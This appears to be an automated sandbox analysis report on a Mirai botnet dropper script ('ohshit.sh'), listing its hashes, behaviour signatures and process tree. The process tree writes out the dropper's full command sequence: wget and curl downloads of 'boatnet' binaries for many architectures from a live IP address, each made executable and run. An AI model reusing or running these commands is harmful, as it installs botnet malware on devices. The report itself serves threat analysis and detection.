Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 04:10

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    25c6ba0856c61dd5b61a23fb72afbd85

  • SHA1

    02bd8205bff824d323b72ccc0342c46a410f3d74

  • SHA256

    5b35f387f69bcb231b7e339c9ddeb610fd73ebf848f8cefdcfb26a2faabc5c6f

  • SHA512

    f1979d3997551d5cdc3a0aead3792509f2f5cb275ab303bfbb2d3d1e415dd6f882be425e352a73dd8ea27298a09001b7a14c323c3e854298736e76c1449ae8aa

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1514
    • /usr/bin/wget
      wget http://77.221.151.63/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1515
    • /usr/bin/curl
      curl -O http://77.221.151.63/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1519
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1520
      • /bin/chmod
        chmod +x boatnet.x86 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1521
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1522
      • /usr/bin/wget
        wget http://77.221.151.63/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1526
      • /usr/bin/curl
        curl -O http://77.221.151.63/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1527
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1529
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1530
      • /usr/bin/wget
        wget http://77.221.151.63/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1534
      • /usr/bin/curl
        curl -O http://77.221.151.63/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1535
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1537
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1538
      • /usr/bin/wget
        wget http://77.221.151.63/hiddenbin/boatnet.i468
        2⤵
          PID:1542
        • /usr/bin/curl
          curl -O http://77.221.151.63/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1543
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1545
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1546
        • /usr/bin/wget
          wget http://77.221.151.63/hiddenbin/boatnet.i686
          2⤵
            PID:1550
          • /usr/bin/curl
            curl -O http://77.221.151.63/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1551
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1553
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1554
          • /usr/bin/wget
            wget http://77.221.151.63/hiddenbin/boatnet.x86_64
            2⤵
              PID:1558
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1559
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1561
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1562
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1566
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1567
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1569
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1570
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1574
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1575
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1577
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1578
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1582
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1583
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1585
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1586
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1590
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1591
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1593
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1594
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1598
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1599
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1603
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1604
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1608
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1615
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1617
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1618
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1622
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1627
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1649
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1650
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1654
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1655
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1657
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1658
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1662
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1663
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-vkJdAy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1665
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1666

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            895badd48eed0c0e0ba14e8d5967e7bb

            SHA1

            3c4c22665e6197841f7e68f941a4a27dca3d4d8d

            SHA256

            e2a04bd1fb1e7ed211e3ee19b08337b6361d695278417d5a21ba602ca7eb99b4

            SHA512

            dfc79a34d1694b7e4422fa4861bf475b3efe2398df684126e71293880f51f4bf39f396fb5c5e36a2c12944c7406e86cac09c3d3b8c432194aab976c8b7e94af7

          • memory/1522-1-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1530-2-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1538-3-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1546-4-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1554-5-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1562-6-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1570-7-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1578-8-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1586-9-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1594-10-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1604-11-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1618-12-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1650-13-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1658-14-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1666-15-0x0000000008048000-0x00000000080547a0-memory.dmp